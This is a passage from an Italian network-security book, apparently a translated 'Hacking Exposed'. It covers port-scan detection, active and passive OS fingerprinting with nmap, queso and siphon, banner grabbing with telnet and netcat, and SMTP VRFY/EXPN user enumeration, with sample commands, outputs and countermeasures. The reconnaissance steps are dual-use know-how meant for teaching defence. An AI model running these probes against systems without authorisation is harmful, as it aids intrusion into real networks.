La maggior parte dei firewall può e dovrebbe essere configurata in modo da riconoscere i tentativi di scansione. Alcuni riescono a intercettare le scansioni "contraffatte" meglio di altri. Per esempio, molti firewall prevedono esplicitamente opzioni per il riconoscimento delle scansioni di tipo SYN, mentre ignorano del tutto quelle di tipo FIN. La parte più complessa dell'intercettazione delle scansioni sulle porte è certamente l'analisi dei file di log; per effettuare questa operazione vi consigliamo Psionic LogSentry (`http://www.psionic.com/abacus/`). Il nostro consiglio è configurare il sistema in modo che gli avvisi partano in tempo reale via e-mail. Se possibile, utilizzate il *threshold logging* (registrazione con soglia), in modo che nessuno possa effettuare un attacco di tipo Denial of Service inondando la vostra posta elettronica. Con il threshold logging, gli avvisi verranno raggruppati, anziché inviare un avviso per ogni intercettazione di una possibile sonda. Come minima precauzione, dovreste attivare meccanismi di reporting delle anomalie che segnalino i tentativi di scansione delle porte del sito. Lance Spitzner (`http://www.enteract.com/~lspitz/intrusion.html`) ha sviluppato per Firewall-1 un pratico strumento di nome `alert.sh`, che è in grado di intercettare e controllare le scansioni sulle porte tramite Firewall-1 e viene eseguito come User Defined Alert.

Nel mondo Windows NT esistono un paio di utility in grado di intercettare i tipi di scansione più semplici. Il primo strumento è Genius 2.0 di Independent Software (Genius 3.2.2 è disponibile all'indirizzo `http://www.indiesoft.com/`) che funziona in ambiente Windows 95/98 e Windows NT/2000. Questo prodotto offre molto più di un semplice monitoraggio della scansione delle porte TCP, ma questa sola funzionalità giustifica pienamente la sua presenza nella nostra barra delle applicazioni. Genius si pone in ascolto delle richieste di apertura di diverse porte in un certo periodo e avverte l'utente con una finestra di dialogo quando riconosce una scansione, restituendo l'indirizzo IP e il nome DNS dell'intruso (come mostrato nella figura seguente).

Le funzionalità di riconoscimento delle scansioni sulle porte di Genius si estendono alle tradizionali scansioni con connessioni TCP e a quelle di tipo SYN.

Infine, ZoneAlarm (`http://www.zonelabs.com/`) è un prodotto eccellente che fornisce funzionalità firewall e IDS per la piattaforma Windows. ZoneAlarm è fornito gratuitamente per utilizzo personale.

Prevenzione

Se da un lato è difficile impedire a qualcuno di lanciare una scansione delle porte dei vostri sistemi, dall'altro è possibile ridurre al minimo i rischi disattivando tutti i servizi non strettamente necessari. In ambiente UNIX, è sufficiente trasformare in commento i servizi non necessari in `/etc/inetd.conf` e disattivare quelli attivati all'interno degli script di avvio. Per ulteriori informazioni, si veda il Capitolo 7.

Anche nel caso di Windows è opportuno disattivare tutti i servizi non necessari. In questo caso l'operazione risulta più complessa a causa del funzionamento di Windows, poiché la porta 139 svolge la maggior parte delle funzioni. Alcuni dei servizi,

tuttavia, possono essere disattivati dal *Pannello di controllo*, alla voce *Servizi*. I rischi e le contromisure per sistemi Windows NT sono presentati nel Capitolo 5. Inoltre, Tiny Software (`www.tinysoftware.com`) fornisce un eccellente modulo di kernel per il filtro dei pacchetti per Windows, che consente di proteggere molte porte essenziali. Per altri sistemi operativi o dispositivi, vi rimandiamo al manuale utente per scoprire come ridurre al minimo il numero di porte in ascolto.

Individuazione del sistema operativo

Come abbiamo precedentemente illustrato, sono disponibili numerosi strumenti e tecniche per la scansione delle porte. Ricorderete che il nostro obiettivo primario nella scansione delle porte era identificare quali porte TCP e UDP fossero in ascolto sul sistema bersaglio. Il secondo obiettivo è stabilire il tipo di sistema operativo sottoposto a scansione.

Rilevamento attivo del sistema operativo

Diffusione:	*10*
Semplicità:	*8*
Impatto:	*4*
Fattore di rischio:	*7*

Alcune informazioni sul sistema operativo risulteranno utili nella fase di ricostruzione della mappa dei punti deboli, descritta nei prossimi capitoli. È importante ricordare che stiamo cercando di identificare con la massima precisione possibile i punti deboli dei sistemi bersaglio, e che per questo è fondamentale riconoscere correttamente il sistema operativo di cui ci dobbiamo occupare. Si può partire da semplici tecniche di cattura dei banner, presentate nel Capitolo 3, in grado di raccogliere le informazioni da servizi come FTP, `telnet`, SMTP, HTTP, POP e altri. Questo è sicuramente il metodo più semplice per riconoscere il sistema operativo e le versioni dei servizi in esecuzione. Ovviamente, esistono diversi strumenti in grado di aiutarci in questa attività. Due dei più precisi sono il versatile `nmap` e `queso`, entrambi in grado di offrire funzionalità di fingerprinting dello stack.

Fingerprinting attivo dello stack

Prima di passare all'utilizzo di `nmap` e `queso`, è importante spiegare cosa si intenda esattamente per *fingerprinting dello stack*. Si tratta di una tecnologia estremamente potente che consente di identificare con grande precisione e velocità il sistema operativo di ogni host. Sostanzialmente, le diverse implementazioni dello stack IP differiscono per piccoli dettagli, legati alla diversa interpretazione delle direttive RFC da parte degli sviluppatori durante la realizzazione dello stack TCP/IP. Questo permette di riconoscere con una certa sicurezza il sistema operativo utilizzato, sulla base di queste differenze. Per dare risultati significativi, il fingerprinting dello stack necessita generalmente di almeno una porta in ascolto. In caso contrario, `nmap` potrà solo formulare alcune ipotesi, con prevedibili problemi di affidabilità del risultato. L'articolo di riferimento su questo tema, pubblicato inizialmente da *Phrack Magazine*, è stato scritto da Fyodor e si trova all'indirizzo `http://www.insecure.org/nmap/nmap-fingerprinting-article.html`.

Vediamo quali tipi di tecniche possono contribuire a distinguere un sistema operativo dall'altro.

- **Probe FIN (sonda FIN).** Questa tecnica prevede l'invio di un pacchetto FIN su una porta aperta scelta come obiettivo. Come già detto, secondo la RFC 793, quando un pacchetto FIN viene ricevuto da una porta aperta il comportamento corretto è non rispondere; tuttavia, molte implementazioni dello stack (tra cui Windows NT) rispondono con FIN/ACK.
- **Bogus flag probe (sonda con flag falso).** Quando si invia un pacchetto SYN nella cui intestazione sia attivato un flag TCP non definito, alcuni sistemi operativi, come Linux, rispondono lasciando impostato tale flag nel pacchetto di risposta.
- **Campionamento ISN (*Initial Sequence Number*).** L'ipotesi è di riuscire a riconoscere uno schema nella sequenza iniziale utilizzata dalla specifica implementazione di TCP in risposta a una richiesta di connessione.
- **Monitoraggio del bit "don't fragment".** Alcuni sistemi operativi impostano il bit di inibizione della frammentazione ("don't fragment bit") allo scopo di migliorare le prestazioni. Questo bit può essere controllato per determinare il tipo di sistema operativo che presenta questo comportamento.
- **Dimensione della finestra iniziale TCP.** Si controlla la dimensione della finestra iniziale sui pacchetti restituiti. In certe implementazioni, questa dimensione è univoca e può contribuire notevolmente alla precisione del profilo ricostruito.
- **Valore ACK.** Il valore di sequenza utilizzato per il campo ACK varia a seconda dell'implementazione di IP: in certi casi viene restituito il numero di sequenza inviato, in altri il numero incrementato di un'unità.
- **Riduzione dei messaggi di errore ICMP.** Alcuni sistemi operativi seguono la RFC 1812 (`www.ietf.org/rfc/rfc1812.txt`), limitando la frequenza di invio dei messaggi d'errore. Inviando una serie di pacchetti UDP a una porta alta a caso si possono contare i messaggi "unreachable" che ritornano in un certo periodo.
- **Citazione dei messaggi ICMP.** I sistemi operativi si distinguono anche per la quantità di informazioni riprese in caso di errori ICMP. L'esame del messaggio citato può contribuire all'identificazione del sistema operativo target.
- **Integrità dei messaggi di errore ICMP restituiti.** Alcune implementazioni modificano le intestazioni IP dei messaggi di errore restituiti. È possibile distinguere il sistema operativo in base al tipo di cambiamenti apportati all'intestazione.
- **Tipo di servizio.** Si esamina il TOS per messaggi di tipo "ICMP port unreachable" (porta ICMP non raggiungibile). Nella maggior parte delle implementazioni viene utilizzato 0, ma non sempre.
- **Gestione della frammentazione.** Come hanno evidenziato Thomas Ptacek e Tim Newsham nel loro storico articolo *Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection* (`http://www.clark.net/~roesch/idspaper.html`), le varie implementazioni dello stack gestiscono in modo diverso la sovrapposizione dei frammenti. Alcuni stack sovrascrivono i vecchi dati con i nuovi e viceversa al riassemblaggio dei frammenti. L'esame del modo in cui vengono riordinati i pacchetti sonda può contribuire all'identificazione del sistema operativo bersaglio.

- **Opzioni TCP.** Le opzioni TCP sono state definite dalla RFC 793 e più recentemente dalla RFC 1323 (`www.ietf.org/rfc/rfc1323.txt`). Le opzioni più avanzate definite nella RFC 1323 sono tendenzialmente implementate nelle versioni più recenti dello stack. L'invio di pacchetti con diverse di queste opzioni impostate, come nessuna operazione, la dimensione massima del segmento, il fattore di scala della finestra e la data/ora, può contribuire all'identificazione del sistema operativo preso di mira.

`nmap` supporta tutte queste tecniche (con l'eccezione della gestione della frammentazione e della riduzione dei messaggi di errore ICMP) attraverso l'opzione `-O`. Esaminiamo la nostra rete bersaglio:

```
[tsunami] nmap -O 192.168.1.10
Starting nmap V. 2.53 by fyodor@insecure.org
Interesting ports on shadow (192.168.1.10):
Port    State     Protocol  Service
7       open      tcp        echo
9       open      tcp        discard
13      open      tcp        daytime
19      open      tcp        chargen
21      open      tcp        ftp
22      open      tcp        ssh
23      open      tcp        telnet
25      open      tcp        smtp
37      open      tcp        time
111     open      tcp        sunrpc
512     open      tcp        exec
513     open      tcp        login
514     open      tcp        shell
2049    open      tcp        nfs
4045    open      tcp        lockd

TCP Sequence Prediction: Class=random positive increments
                         Difficulty=26590 (Worthy challenge)
Remote operating system guess: Solaris 2.5, 2.51
```

Con l'opzione di fingerprint dello stack di `nmap`, è facile identificare il sistema operativo bersaglio con una certa precisione. Anche in assenza di porte aperte, `nmap` è in grado di formulare un'ipotesi sulla base dei pochi elementi disponibili:

```
[tsunami]# nmap -p80 -O 10.10.10.10
Starting nmap V. 2.53 by fyodor@insecure.org
Warning:  No ports found open on this machine, OS detection will be MUCH
less reliable
No ports open for host (10.10.10.10)

Remote OS guesses: Linux 2.0.27 - 2.0.30, Linux 2.0.32-34, Linux 2.0.35-36,
Linux 2.1.24 PowerPC, Linux 2.1.76, Linux 2.1.91 - 2.1.103,
Linux 2.1.122 - 2.1.132; 2.2.0-pre1 - 2.2.2, Linux 2.2.0-pre6 - 2.2.2-ac5

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
```

Come si vede, anche in mancanza di porte aperte, `nmap` è riuscito a identificare correttamente il sistema operativo preso di mira, Linux.

Una delle caratteristiche più interessanti di nmap è che l'elenco delle caratteristiche distintive dei sistemi operativi è contenuto nel file nmap-os-fingerprints. A ogni release di nmap, a questo file vengono aggiunte nuove informazioni. In questo momento, il file contiene centinaia di elementi. Se desiderate contribuire all'utilità di nmap aggiungendo una nuova informazione, potete visitare l'indirizzo http://www.insecure.org:80/cgi-bin/nmap-submit.cgi.
Attualmente nmap sembra essere lo strumento più preciso per l'identificazione tramite TCP, ma non è il primo programma a implementare le tecniche viste in precedenza. queso, disponibile per il download all'indirizzo http://packetstormsecurity.com/UNIX/scanners/queso-980922.tar.gz, è uno strumento di riconoscimento dei sistemi operativi che è stato rilasciato prima che Fyodor incorporasse in nmap questa funzionalità. È importante osservare che queso non utilizza la scansione delle porte e si limita al riconoscimento del sistema operativo sulla base di un'unica porta aperta (normalmente la 80). Se sul sistema target la porta 80 è chiusa, è necessario specificarne una aperta, come mostrato nel prossimo esempio, in cui queso viene utilizzato per individuare un sistema operativo attraverso la porta 25:

```
[tsunami] queso 10.10.10.20:25
10.10.10.20:25             * Windoze 95/98/NT
```

Contromisure al riconoscimento del sistema operativo

Intercettazione

Molti degli strumenti per l'intercettazione della scansione delle porte permettono anche di controllare i tentativi di identificazione del sistema operativo. Pur non indicando esplicitamente il verificarsi di scansioni da parte di nmap o queso, questi programmi sono in grado di intercettare scansioni in base a opzioni specifiche, come l'impostazione del flag SYN.

Prevenzione

Sarebbe bello se esistesse una contromisura semplice per il riconoscimento del sistema operativo, ma il problema è piuttosto complesso. È possibile modificare il codice sorgente o qualche parametro del sistema operativo in modo da alterare la corrispondenza con uno dei profili univoci dello stack, ma questo potrebbe pregiudicare il funzionamento della macchina. Per esempio, FreeBSD 4.x supporta l'opzione di kernel TCP_DROP_SYNFIN, adottata per ignorare un pacchetto SYN+FIN utilizzato da nmap per eseguire il fingerprinting dello stack. L'abilitazione di questa opzione può contribuire a ostacolare l'identificazione del sistema operativo, ma interrompe il supporto per RFC 1644 (Estensioni TCP per le transazioni).
Piuttosto, riteniamo che le scansioni da Internet dovrebbero riguardare unicamente proxy e firewall sicuri e affidabili. Pensiamo che proteggersi nascondendosi non sia una strategia di difesa solida. Anche se un hacker dovesse scoprire il sistema operativo, è comunque necessario impedirgli in ogni modo di accedervi.

Identificazione passiva del sistema operativo

Diffusione:	*5*
Semplicità:	*6*
Impatto:	*4*
Fattore di rischio:	*5*

Abbiamo dimostrato l'efficacia del fingerprinting dello stack attivo utilizzando strumenti quali `nmap` e `queso`. È importante ricordare che le tecniche di riconoscimento del fingerprinting dello stack citate in precedenza sono di tipo attivo per loro natura. È stata effettuata la scelta di inviare pacchetti a tutti i sistemi, per individuare debolezze specifiche dello stack di rete e quindi risalire al sistema operativo utilizzato. Avendo inviato i pacchetti al sistema target, per un sistema IDS per reti è relativamente semplice intercettare un tentativo di riconoscimento del sistema operativo di questo tipo. In altre parole, non è uno degli strumenti più discreti disponibili.

Fingerprinting passivo dello stack

Il concetto di fingerprinting passivo dello stack è analogo a quello attivo, solo che invece di inviare pacchetti al sistema target l'hacker determina il tipo di sistema operativo utilizzato esaminando passivamente il traffico di rete: i sistemi operativi presenti in rete vengono dunque riconosciuti attraverso l'osservazione del traffico dei diversi sistemi. Lance Spitzner ha eseguito un numero elevato di ricerche in quest'area e i risultati sono stati raccolti in un saggio disponibile all'indirizzo `http://project.honeynet.org`; inoltre, Marshall Beddoe e Chris Abad hanno sviluppato `siphon`, uno strumento per l'identificazione passiva del sistema operativo e la ricostruzione della mappa delle porte. Vediamo il funzionamento del fingerprinting passivo dello stack.

Impronte passive

Esistono diverse impronte (*signatures*) che possono essere utilizzate per identificare un sistema operativo, tuttavia limiteremo la nostra discussione ad alcuni attributi associati a una sessione TCP/IP.

- **TTL (*Time To Live*).** Qual è il valore impostato per la proprietà TTL dei pacchetti in uscita?
- **Dimensione della finestra.** Qual è il valore impostato per la dimensione della finestra?
- **Bit DF (*Don't Fragment*).** Il sistema operativo imposta il bit "don't fragment"?

Analizzando passivamente ogni singolo attributo e confrontando i risultati con quelli contenuti in un database di attributi conosciuto, è possibile risalire al sistema operativo remoto. Questo metodo non permette di ottenere sempre la risposta corretta, ma è possibile combinare tra loro gli attributi per generare risultati sufficientemente affidabili. La tecnica descritta è esattamente ciò che `siphon` è in grado di eseguire.

Vediamo un esempio pratico. Se eseguiamo il telnet dal sistema shadow (192.168.1.10) a quake (192.168.1.11), possiamo identificare in modo passivo il sistema operativo utilizzando `siphon`:

```
[shadow]# telnet 192.168.1.11
```

Utilizzando il nostro sniffer preferito, Snort, possiamo esaminare il percorso parziale dei pacchetti della connessione telnet:

```
06/04-11:23:48.297976 192.168.1.11:23 -> 192.168.1.10:2295
TCP TTL:255 TOS:0x0 ID:58934  DF
**S***A* Seq: 0xD3B709A4   Ack: 0xBE09B2B7   Win: 0x2798
TCP Options => NOP NOP TS: 9688775 9682347 NOP WS: 0 MSS: 1460
```

Esaminando i tre attributi TCP/IP, possiamo ricavare le informazioni seguenti:

- TTL = 255;
- Dimensione della finestra = 2798;
- Bit DF = Sì.

Ora, esaminiamo il file del database fingerprint `siphon`, `osprints.conf`:

```
[shadow]# grep -i solaris osprints.conf
# Window:TTL:DF:Operating System DF = 1 for ON, 0 for OFF.
2328:255:1:Solaris 2.6 - 2.7
2238:255:1:Solaris 2.6 - 2.7
2400:255:1:Solaris 2.6 - 2.7
2798:255:1:Solaris 2.6 - 2.7
FE88:255:1:Solaris 2.6 - 2.7
87C0:255:1:Solaris 2.6 - 2.7
FAF0:255:0:Solaris 2.6 - 2.7
FFFF:255:1:Solaris 2.6 - 2.7
```

Possiamo vedere che il quarto elemento dispone degli stessi attributi ricavati con Snort. Dimensione della finestra pari a 2798, TTL pari a 255 e bit DF impostato (uguale a 1). Pertanto, anche utilizzando `siphon` dovremmo essere in grado di risalire con precisione al sistema operativo del target dell'attacco:

```
[crush]# siphon -v -i xl0 -o fingerprint.out
Running on: 'crush' running FreeBSD 4.0-RELEASE on a(n) i386
Using Device: xl0
Host                    Port    TTL     DF      Operating System
192.168.1.11            23      255     ON      Solaris 2.6 - 2.7
```

Come potete vedere, siamo stati in grado di risalire al sistema operativo, che in questo caso è Solaris 2.6, con relativa facilità. È importante sottolineare che è stato possibile formulare un'ipotesi senza inviare un solo pacchetto a 192.168.1.11.

Il fingerprinting passivo può essere utilizzato da un hacker per mappare una potenziale vittima semplicemente navigando il suo sito Web e analizzando il tracciato della rete oppure utilizzando uno strumento come `siphon`. Questa tecnica è estremamente efficace ma presenta alcuni limiti. In primo luogo, le applicazioni che costruiscono i propri pacchetti (per esempio, `nmap`) non utilizzano la stessa impronta del sistema operativo, pertanto i risultati potrebbero non essere precisi. In secondo luogo, un host remoto può facilmente modificare gli attributi della connessione:

```
Solaris: ndd -set /dev/ip ip_def_ttl 'number'
Linux: echo 'number' > /proc/sys/net/ipv4/ip_default_ttl
NT: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameter
```

Contromisure passive al riconoscimento del sistema operativo

Si vedano le contromisure di prevenzione descritte nel paragrafo "Contromisure al riconoscimento del sistema operativo", sempre in questo stesso capitolo.

Tutto in uno: strumenti di analisi automatica

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*9*
Fattore di rischio:	*9*

Sono disponibili molti altri strumenti di analisi delle reti e ne vengono sviluppati di nuovi quotidianamente. È impossibile elencarli tutti, ma ci teniamo a segnalarne due che possono contribuire significativamente al vostro arsenale.
Cheops (`http://www.marko.net/cheops/`), visibile nella Figura 2.6, è uno strumento grafico che è stato progettato per essere un tool completo per la mappatura delle reti. Cheops integra funzionalità come la scansione via `ping`, `traceroute` e sulle porte e il riconoscimento del sistema operativo (con `queso`) in un solo pacchetto. Cheops offre una semplice interfaccia che rappresenta graficamente i sistemi e le reti correlate, semplificando la comprensione del contesto che si deve affrontare.

Figura 2.6
Cheops riunisce una serie di strumenti per la mappatura delle reti in un unico pacchetto grafico.

Tkined fa parte di Scotty (`http://wwwhome.cs.utwente.nl/~schoenw/scotty/`) ed è un editor di rete scritto in Tcl in cui sono integrati diversi strumenti di gestione della rete che permettono l'analisi delle reti IP.
Tkined è un sistema espandibile e consente di effettuare operazioni di perlustrazione delle reti rappresentando i risultati in forma grafica. Pur non arrivando al riconoscimento dei sistemi operativi, è in grado di svolgere la maggior parte delle attività viste in questo e nel precedente capitolo. Il pacchetto Scotty contiene numerosi altri script di analisi degni di nota.

Contromisure agli strumenti di analisi automatica

Strumenti come Scotty, Tkined e Cheops utilizzano una qualche combinazione delle tecniche già descritte in questo capitolo, quindi i rimedi per intercettare questi tipi di attacco sono identici a quelli illustrati in precedenza.

Capitolo 3

Enumerazione

L'aggressore dopo essere riuscito a identificare gli host attivi e i servizi in esecuzione mediante le tecniche illustrate nel Capitolo 2, generalmente passerà in rassegna i servizi individuati, alla ricerca di punti deboli conosciuti. Tale processo viene chiamato *enumerazione*.
La differenza principale tra le tecniche di raccolta delle informazioni prese finora in esame e l'enumerazione è il livello di invadenza: l'enumerazione richiede connessioni dirette ai sistemi e interrogazioni esplicite e potrebbe (dovrebbe!) quindi essere registrata o notata in qualche modo. Vedremo come riconoscere e fermare attività di questo genere (se possibile).
A prima vista, molte delle informazioni raccolte con l'enumerazione possono sembrare del tutto innocue. Tuttavia i dati che trapelano dalle falle dei vostri sistemi potrebbero essere la vostra rovina, come cercheremo di dimostrare in questo capitolo. In genere, le informazioni che gli aggressori cercano di acquisire tramite l'enumerazione comprendono i nomi degli account utente (tale informazione verrà poi trasmessa ai successivi attacchi per l'identificazione delle password), risorse condivise spesso configurate in modo errato (per esempio, condivisioni file prive di protezione) e versioni del software non recenti con vulnerabilità note (per esempio, server Web sensibili a buffer overflow remoto). Generalmente, una volta che l'intruso enumera un nome utente valido o una condivisione, riuscire a compromettere il sistema in oggetto è solo una questione di tempo. Chiudere queste falle è semplice e permette di eliminare il principale appiglio per gli hacker.
Le tecniche di enumerazione sono fortemente legate al sistema operativo e vengono quindi applicate in base alle informazioni raccolte nel Capitolo 2 (scansione delle porte e riconoscimento del sistema operativo). In effetti, le funzionalità di scansione delle porte ed enumerazione sono spesso combinate nello stesso tool, come avete visto nel Capitolo 2 a proposito di programmi quali SuperScan, che è in grado di effettuare la scansione di una rete alla ricerca di porte aperte e contemporaneamente catturare banner identificati rimanendo in ascolto. In questo capitolo per prima cosa parleremo brevemente della cattura dei banner, la tecnica di enumerazione più generica, per poi passare all'analisi di meccanismi più specifici di una determinata piattaforma che possono richiedere l'impiego di tool maggiormente specializzati.
Prenderemo in esame i servizi procedendo in ordine numerico, in base al numero della porta (TCP o UDP) su cui essi sono tradizionalmente in ascolto; per esempio,

parleremo prima della TCP 25 (SMTP), poi della UDP 69 (TFTP), in seguito della TCP 79 (finger) e così via. Questo capitolo non si propone di analizzare tutte le tecniche di enumerazione esistenti contro tutte le 65.535 porte TCP e UDP; ci occuperemo unicamente di quei servizi che tradizionalmente hanno fornito la maggior quantità di informazioni sui sistemi bersaglio, in base alla nostra esperienza professionale di esperti di sicurezza informatica. Confidiamo che queste informazioni contribuiscano a chiarire il modo in cui l'enumerazione viene realizzata, per ottenere una conoscenza superiore del sistema bersaglio, aiutando così l'aggressore a fare progressi verso l'obiettivo principale: ottenere l'accesso non autorizzato al sistema stesso.

Nel corso di questo capitolo, utilizzeremo i termini "famiglia NT" per indicare tutti i sistemi basati sulla piattaforma "New Technology" (NT) di Microsoft: Window NT 3.x–4.x, Windows 2000, Windows XP e Windows .NET Server. Ove necessario, distingueremo tra le versioni per desktop e quelle per server. Di contro, designeremo collettivamente i sistemi DOS/Windows 1.x/3.x/9x/Me di Microsoft come "famiglia DOS".

Nozioni elementari sulla cattura dei banner

La più semplice delle tecniche di enumerazione è costituita dalla cattura dei banner, a cui abbiamo accennato nel Capitolo 2. La cattura dei banner può essere definita semplicemente come la connessione ad applicazioni remote per l'osservazione dell'output. Essa può rivelarsi sorprendentemente ricca di informazioni per l'aggressore. Quanto meno, costui riuscirà a identificare la marca e il modello del servizio in esecuzione, il che in molti casi sarà sufficiente a mettere in moto il processo di ricerca delle vulnerabilità.

Come si è già rilevato nel Capitolo 2, molti tool di scansione delle porte sono in grado di effettuare la cattura dei banner mentre svolgono contemporaneamente la loro funzione principale, l'identificazione delle porte aperte (il segno premonitore di un servizio vulnerabile). In questo paragrafo classificheremo brevemente le tecniche manuali maggiormente diffuse di cattura dei banner, che qualsiasi aggressore che si rispetti deve conoscere (a prescindere dal crescente grado di automatizzazione degli scanner delle porte).

Strumenti elementari per la cattura dei banner: telnet e netcat

Diffusione:	5
Semplicità:	9
Impatto:	1
Fattore di rischio:	5

Tradizionalmente, il meccanismo manuale collaudato per l'enumerazione dei banner e delle informazioni sulle applicazioni è stato basato su `telnet` (un tool per le comunicazioni remote incorporato nella maggior parte dei sistemi operativi). L'utilizzo di `telnet` per la cattura dei banner è molto semplice: è sufficiente aprire una connessione `telnet` con una porta nota situata sul server

obiettivo, premere alcune volte Invio, se necessario, e analizzare le informazioni di ritorno:

```
C:\>telnet www.corleone.com 80
HTTP/1.0 400 Bad Request
Server: Netscape-Commerce/1.12

Your browser sent a non-HTTP compliant message.
```

Questa è una tecnica generica che funziona con molte applicazioni comuni che rispondono su una porta predefinita, quale la porta HTTP 80, la SMTP 25, o la FTP 21.

Se si vuole utilizzare uno strumento notevolmente più preciso per effettuare questi sondaggi, si può fare affidamento sul "coltellino svizzero multiuso per il TCP/IP" chiamato `netcat`, scritto da Hobbit (hobbit@atstake.com) e importato nella famiglia Windows NT (comprendente Windows NT e Windows 2000, XP e .NET Server) da Weld Pond quando lavorava con il gruppo di ricerche sulla sicurezza L0pht. `netcat` può essere scaricato da `http://www.atstake.com/research/tool/index.html`. Come vedrete durante la lettura di questo libro, `netcat` è giustamente famoso tra gli amministratori di sistemi per le sue caratteristiche ingegnose di flessibilità. Quando viene utilizzato dal nemico, i suoi effetti sono semplicemente devastanti. Qui ne esamineremo una delle applicazioni più semplici, la connessione a una porta TCP/IP remota e l'enumerazione dei banner del servizio:

```
C:\>nc -v www.corleone.com 80
www.corleone.com [192.168.45.7] 80 (?) open
```

Generalmente in questo caso è sufficiente un input molto semplice per generare una risposta di qualche tipo; quando si preme Invio si ottiene la risposta seguente:

```
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/4.0
Date: Sat, 03 Apr 1999 08:42:40 GMT
Content-Type: text/html
Content-Length: 87

<html><head><title>Error</title></head>
<body>The parameter is incorrect.</body>
</html>
```

Nel file readme di `netcat` c'è un suggerimento che spiega come reindirizzare il contenuto di un file verso `netcat` per sollecitare sistemi remoti, allo scopo di ottenere ulteriori informazioni. Per esempio, si può creare un file di testo chiamato `nudge.txt` contenente la stringa `GET/HTTP/1.0`, seguita da due carriage return e, infine, dalle seguenti righe:

```
[root$]nc -nvv -o banners.txt 192.168.202.34 80 < nudge.txt
HTTP/1.0 200 OK
Server: Sun_WebServer/2.0
Date: Sat, 10 Apr 1999 07:42:59 GMT
Content-Type: text/html
Last-Modified: Wed, 07 Apr 1999 15:54:18 GMT
ETag: "370a7fbb-2188-4"
Content-Length: 8584
```

```
<HTML>
<HEAD>
  <META NAME="keywords" CONTENT"=igCorp, hacking, security">
  <META NAME="description" CONTENT="Welcome to igCorp's Web site. ">
=BigCorp is a leading manufacturer of security holes.

<TITLE>BigCorp Corporate Home Page</TITLE>

</HEAD
</HTML>
```

È opportuno utilizzare per `netcat` *l'argomento* `-n` *quando si specificano indirizzi IP numerici come bersaglio.*

State pensando a un buon metodo di attacco per Sun WebServer 2? Avete afferrato il concetto. Altri metodi per creare file di questo tipo includono `HEAD /HTTP/1.0 <cr><cr>`, `QUIT <cr>`, `HELP <cr>`, `ECHO <cr>` e anche semplicemente un paio di carriage return (`<cr>`), in base al servizio che viene sondato.
Queste informazioni possono aiutare notevolmente l'intruso a compromettere un sistema, indirizzando i suoi sforzi. Ora che l'aggressore conosce il fornitore e la versione del software del server, può concentrarsi su tecniche specifiche della piattaforma in questione e su routine note di exploit, provandole finché non trova quella giusta. Il tempo lavora a suo favore e contro l'amministratore di questa macchina. Sentirete ancora parlare di `netcat` nel prosieguo di questo libro.

Contromisure alla cattura dei banner

Come abbiamo già rilevato, la migliore difesa contro la cattura dei banner è disabilitare i servizi non indispensabili. In alternativa, occorre limitare l'accesso ai servizi che utilizzano il controllo degli accessi alla rete. Probabilmente, l'esecuzione di servizi software vulnerabili è la via di penetrazione più facile in qualsiasi ambiente; pertanto, queste contromisure devono essere adottate in ogni caso, non solo per contrastare la cattura dei banner.
I servizi di importanza vitale per l'attività di un'azienda non possono essere semplicemente disattivati. In questo caso, dovete adottare un metodo appropriato per disabilitare la visualizzazione del fornitore e della versione nei banner. Effettuate periodicamente voi stessi alcune verifiche mediante scansioni delle porte e connessioni `netcat` rudimentali con le porte attive, accertandovi che non siano fornite informazioni inopportune all'aggressore.
Per ulteriori suggerimenti su come eliminare queste falle, visitate il sito ufficiale di Canadian Security Consultants PGCI, Inc all'indirizzo `http://www.pgci.ca/common/p_fingerprint.htm`.
Questo sito, oltre a ospitare un'interessante discussione sulle difese contro le ricerche nei sistemi operativi effettute tramite fingerprinting (si veda il Capitolo 2), riporta esempi di contromisure per le tecniche di enumerazione dei banner su server sendmail, FTP, `telnet` e Web.

Enumerazione dei servizi di rete comuni

Utilizzeremo alcune di queste tecniche di enumerazione di base, e molte altre, per enumerare servizi comunemente controllati da scansioni delle porte effettuate in situazioni reali.

Enumerazione mediante SMTP, porta TCP 25

Diffusione:	*5*
Semplicità:	*9*
Impatto:	*1*
Fattore di rischio:	*5*

Una delle tecniche maggiormente diffuse di enumerazione è quella basata sul linguaggio comunemente utilizzato per l'invio di posta elettronica, l'SMTP (*Simple Mail Transfer Protocol*), che tipicamente viene eseguito sulla porta TCP 25. L'SMTP è dotato di due comandi incorporati che consentono l'enumerazione degli utenti: `VRFY`, che conferma i nomi degli utenti validi, e `EXPN`, che rivela gli indirizzi effettivi di recapito per gli alias e le mailing list. Sebbene attualmente la maggior parte delle aziende fornisca tranquillamente indirizzi di posta elettronica, consentendo questa attività sul vostro server di posta rischiate di fornire all'intruso informazioni preziose sugli utenti e gli offrite la possibilità di contraffare i messaggi. Nell'esempio seguente utilizziamo `telnet` per illustrare l'enumerazione SMTP:

```
[root$]telnet 192.168.202.34  25
Trying 192.168.202.34...
Connected to 192.168.202.34.
Escape character is '^]'.
220 mail.bigcorp.com ESMTP Sendmail 8.8.7/8.8.7; 11 Apr 2002
vrfy root
250 root <root@bigcorp.com>
expn adm
250 adm <adm@bigcorp.com>
quit
221 mail.bigcorp.com closing connection
```

Contromisure all'enumerazione mediante SMTP

Questa è un'altra delle funzionalità non recenti ma utili che devono essere disattivate. Le versioni del popolare software per server SMTP, sendmail (`http://www.sendmail.org`), successive alla 8 prevedono una sintassi incorporabile nel file `mail.cf` per disabilitare questi comandi, o richiedere l'autenticazione. Exchange Server di Microsoft, nelle versioni più recenti, consente di impedire di default agli utenti senza privilegi l'utilizzo di `EXPN` e `VRFY`. Altre implementazioni del server SMTP saranno probabilmente dotate di funzionalità simili; in caso contrario, forse è consigliabile passare a un altro fornitore!

Trasferimenti di zona DNS, porta TCP 53

Diffusione:	*5*
Semplicità:	*9*
Impatto:	*2*
Fattore di rischio:	*5*

Come abbiamo visto nel Capitolo 1, una delle fonti principali di informazioni di profilo è il DNS (*Domain Name System*), il protocollo standard di Internet per associare agli indirizzi IP nomi semplici da ricordare, come Amazon.com. Una delle tecniche di enumerazione più datate presentate in questo libro è quella dei trasferimenti di zona DNS, che può essere utilizzata contro server DNS non configurati correttamente, tramite la porta TCP 53. I trasferimenti di zona provocano il dump dell'intero contenuto dei file di zona di un determinato dominio, enumerando informazioni quali le mappature delle corrispondenze hostname-indirizzo IP, nonché i dati HINFO (si veda il Capitolo 1).

